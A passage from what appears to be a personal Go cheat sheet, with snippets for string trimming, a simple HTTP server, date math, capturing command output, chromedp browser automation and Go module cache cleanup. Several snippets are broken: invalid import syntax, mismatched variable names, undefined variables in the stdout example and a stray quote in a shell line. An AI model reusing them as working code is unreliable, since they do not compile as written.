Resource: https://stackoverflow.com/questions/37255304/golang-find-string-in-file-and-show-line-number

Remove excess whitespace

import strings
mystring := "         bla        "
strings.TrimSpace(myString)

Resource: https://yourbasic.org/golang/trim-whitespace-from-string/

Simple HTTP Server

package main

import (
    "fmt"
    "net/http"
)

func main() {
    http.HandleFunc("/", HelloServer)
    http.ListenAndServe(":8080", nil)
}

func HelloServer(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hooray, I am a webserver running on golang!")
}

Resource: https://yourbasic.org/golang/http-server-example/

Get future date

This particular example will get the date 3 days into the future:

t := time.Now()
fmt.Println(t)
t2 := t.AddDate(0, 0, 3)
fmt.Println(t2)

Resources: https://234developer.wordpress.com/2019/09/12/how-to-add-days-to-date-in-golang/ https://go.dev/play/p/T-X-bjWpQia

Read Stdout into variable

This example also uses the script module, which is not a requirement for this to be relevant.

import "github.com/bitfield/script"

commanderOut, err := script.Echo("q").Exec(
    "keeper login myemail@provider.com").Stdout()

w.Close()
out, _ := io.ReadAll(r)
os.Stdout = rescueStdout

if err != nil {
    return "", fmt.Errorf("failed to login to keeper: %v", err)
}

fmt.Printf("Captured stdout: %s", out)

Resource: https://go.dev/play/p/fXpK0ZhXXf

Chromedp

Non-headless example

This particular example will grab the value of a javascript variable in the target page.

package main

import (
    "context"
    "log"

    "github.com/chromedp/chromedp"
)

func main() {
    // Response
    var resp string

    // Target page
    targetURL := "https://somesite.com/place"
    // Element that needs to load on the page
    waitElement := "#progress"
    // Name of the JS var we want to get the value from
    targetVar := "token"

    options := append(chromedp.DefaultExecAllocatorOptions[:],
        // Don't run chrome in headless mode
        chromedp.Flag("headless", false),
    )

    // Create allocator context
    allocatorCtx, cancel := chromedp.NewExecAllocator(
        context.Background(), options...)
    defer cancel()

    // Create context
    ctx, cancel := chromedp.NewContext(allocatorCtx)
    defer cancel()

    err := chromedp.Run(ctx,
        getJSVarValue(
            targetURL,
            waitElement,
            targetVar,
            &resp,
        ),
    )

    if err != nil {
        log.Fatal(err)
    }

    log.Printf("The value of %s is: %v\n", targetVar, resp)
}

// retrieve value of the input JS variable
// from the target site after the waitElement
// has loaded.
func getJSVarValue(targetURL string, waitElement string,
    targetVar string, resp *string) chromedp.Tasks {
    return chromedp.Tasks{
        chromedp.Navigate(targetURL),
        chromedp.WaitVisible(waitElement),
        chromedp.Evaluate(targetVar, &resp),
    }
}

Resources:

Select label from dropdown by name

chromedp.SendKeys(`#mydropdown`, "Text label content")

Resource: https://github.com/chromedp/chromedp/issues/8

Update release version after updating

If you need to update a tagged release after using it with a project, you will need to do the following to use the new release:

  • Remove the existing go.mod and go.sum files for your project:

    rm go.*

  • Remove any traces of the package from the system’s caches (these instructions are for a deployment using gvm, but you should be able to find the cache for a system that’s only using one version of go:

    GO_VER=go1.18
REPO_OWNER=l50

cd "${HOME}/.gvm/pkgsets/${GO_VER}/global/pkg"
rm -rf mod/cache/download/sumdb && \
  rm -rf "./mod/cache/download/github.com/${REPO_OWNER}" && \
  sudo rm -rf "./mod/github.com/${REPO_OWNER}"

  • Set the GOPRIVATE env var to point to the repo, so that go get will download the module directly from the repo on github:

    REPO_OWNER=l50
REPO_NAME=goutils

go env -w GOPRIVATE="github.com/${REPO_OWNER}/${REPO_NAME}"

  • Recreate the go module for your project and install the module dependencies:

    REPO_OWNER=l50
REPO_NAME=sweetproject

go mod init github.com/${REPO_OWNER}/${REPO_NAME}"
go mod tidy

Resources:

Fix checksum mismatch

If you encounter a checksum mismatch while compiling your code, run the following commands to re-download your dependencies with the proper checksum values:

go clean -modcache
go mod tidy

Resource: https://stackoverflow.com/questions/54133789/go-modules-checksum-mismatch